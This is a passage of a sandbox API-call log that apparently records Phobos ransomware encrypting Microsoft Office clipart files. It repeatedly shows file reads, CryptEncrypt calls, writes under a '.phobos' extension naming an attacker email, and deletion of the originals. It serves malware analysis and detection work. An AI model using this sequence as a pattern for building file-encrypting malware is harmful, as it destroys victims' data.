GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=27552) returned 1 [0060.405] CloseHandle (hObject=0x310) returned 1 [0060.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf")) returned 0x220 [0060.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.406] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0060.406] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0060.406] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0060.407] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0060.410] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcbd0) returned 1 [0060.411] CryptSetKeyParam (hKey=0x10dcbd0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0060.411] ReadFile (in: hFile=0x328, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x6ba0, lpOverlapped=0x0) returned 1 [0060.428] CryptEncrypt (in: hKey=0x10dcbd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x6bb0, dwBufLen=0x6bb0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x6bb0) returned 1 [0060.428] WriteFile (in: hFile=0x330, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x6bb0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x6bb0, lpOverlapped=0x0) returned 1 [0060.429] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc650) returned 1 [0060.429] CryptSetKeyParam (hKey=0x10dc650, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0060.429] CryptEncrypt (in: hKey=0x10dc650, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0060.429] CryptDestroyKey (hKey=0x10dc650) returned 1 [0060.429] WriteFile (in: hFile=0x330, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0060.429] CryptDestroyKey (hKey=0x10dcbd0) returned 1 [0060.430] CloseHandle (hObject=0x328) returned 1 [0060.430] CloseHandle (hObject=0x330) returned 1 [0060.431] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00526_.wmf")) returned 1 [0060.432] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0060.432] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0060.432] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=6256) returned 1 [0060.432] CloseHandle (hObject=0x330) returned 1 [0060.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf")) returned 0x220 [0060.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.432] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0060.433] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0060.433] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0060.433] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0060.433] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc810) returned 1 [0060.433] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0060.433] ReadFile (in: hFile=0x330, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x1870, lpOverlapped=0x0) returned 1 [0060.446] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1880, dwBufLen=0x1880 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1880) returned 1 [0060.446] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x1880, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x1880, lpOverlapped=0x0) returned 1 [0060.447] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc850) returned 1 [0060.447] CryptSetKeyParam (hKey=0x10dc850, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0060.447] CryptEncrypt (in: hKey=0x10dc850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0060.447] CryptDestroyKey (hKey=0x10dc850) returned 1 [0060.447] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0060.447] CryptDestroyKey (hKey=0x10dc810) returned 1 [0060.447] CloseHandle (hObject=0x330) returned 1 [0060.447] CloseHandle (hObject=0x328) returned 1 [0060.448] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf")) returned 1 [0060.449] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0060.449] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0060.449] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=3768) returned 1 [0060.449] CloseHandle (hObject=0x328) returned 1 [0060.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf")) returned 0x220 [0060.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.449] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0060.449] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0060.450] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0060.450] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0060.450] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc9d0) returned 1 [0060.450] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0060.450] ReadFile (in: hFile=0x328, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0xeb8, lpOverlapped=0x0) returned 1 [0060.463] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xec0, dwBufLen=0xec0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xec0) returned 1 [0060.463] WriteFile (in: hFile=0x330, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xec0, lpOverlapped=0x0) returned 1 [0060.464] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc610) returned 1 [0060.464] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0060.464] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0060.464] CryptDestroyKey (hKey=0x10dc610) returned 1 [0060.464] WriteFile (in: hFile=0x330, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0060.464] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0060.464] CloseHandle (hObject=0x328) returned 1 [0060.464] CloseHandle (hObject=0x330) returned 1 [0060.465] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf")) returned 1 [0060.466] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0060.466] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0060.467] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=29004) returned 1 [0060.468] CloseHandle (hObject=0x328) returned 1 [0060.468] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf")) returned 0x220 [0060.468] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.470] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0060.470] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0060.470] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0060.470] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0060.470] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc950) returned 1 [0060.470] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0060.471] ReadFile (in: hFile=0x334, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x714c, lpOverlapped=0x0) returned 1 [0060.514] CryptEncrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x7150, dwBufLen=0x7150 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x7150) returned 1 [0060.514] WriteFile (in: hFile=0x304, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x7150, lpOverlapped=0x0) returned 1 [0060.515] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc750) returned 1 [0060.515] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0060.515] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0060.515] CryptDestroyKey (hKey=0x10dc750) returned 1 [0060.515] WriteFile (in: hFile=0x304, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0060.515] CryptDestroyKey (hKey=0x10dc950) returned 1 [0060.515] CloseHandle (hObject=0x334) returned 1 [0060.515] CloseHandle (hObject=0x304) returned 1 [0060.599] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf")) returned 1 [0060.600] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0060.600] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0060.600] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=1330) returned 1 [0060.600] CloseHandle (hObject=0x304) returned 1 [0060.600] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf")) returned 0x220 [0060.600] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.600] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0060.601] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0060.601] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0060.601] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0060.601] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcc50) returned 1 [0060.601] CryptSetKeyParam (hKey=0x10dcc50, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0060.601] ReadFile (in: hFile=0x304, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x532, lpOverlapped=0x0) returned 1 [0060.773] CryptEncrypt (in: hKey=0x10dcc50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x540, dwBufLen=0x540 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x540) returned 1 [0060.773] WriteFile (in: hFile=0x334, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x540, lpOverlapped=0x0) returned 1 [0060.774] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc690) returned 1 [0060.774] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0060.774] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0060.774] CryptDestroyKey (hKey=0x10dc690) returned 1 [0060.774] WriteFile (in: hFile=0x334, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0060.774] CryptDestroyKey (hKey=0x10dcc50) returned 1 [0060.774] CloseHandle (hObject=0x304) returned 1 [0060.774] CloseHandle (hObject=0x334) returned 1 [0060.775] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf")) returned 1 [0060.776] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0060.776] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0060.777] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=1712) returned 1 [0060.777] CloseHandle (hObject=0x334) returned 1 [0060.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf")) returned 0x220 [0060.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.777] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0060.777] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0060.777] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0060.777] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0060.777] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc9d0) returned 1 [0060.777] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0060.777] ReadFile (in: hFile=0x334, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x6b0, lpOverlapped=0x0) returned 1 [0060.786] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x6c0, dwBufLen=0x6c0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x6c0) returned 1 [0060.786] WriteFile (in: hFile=0x304, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 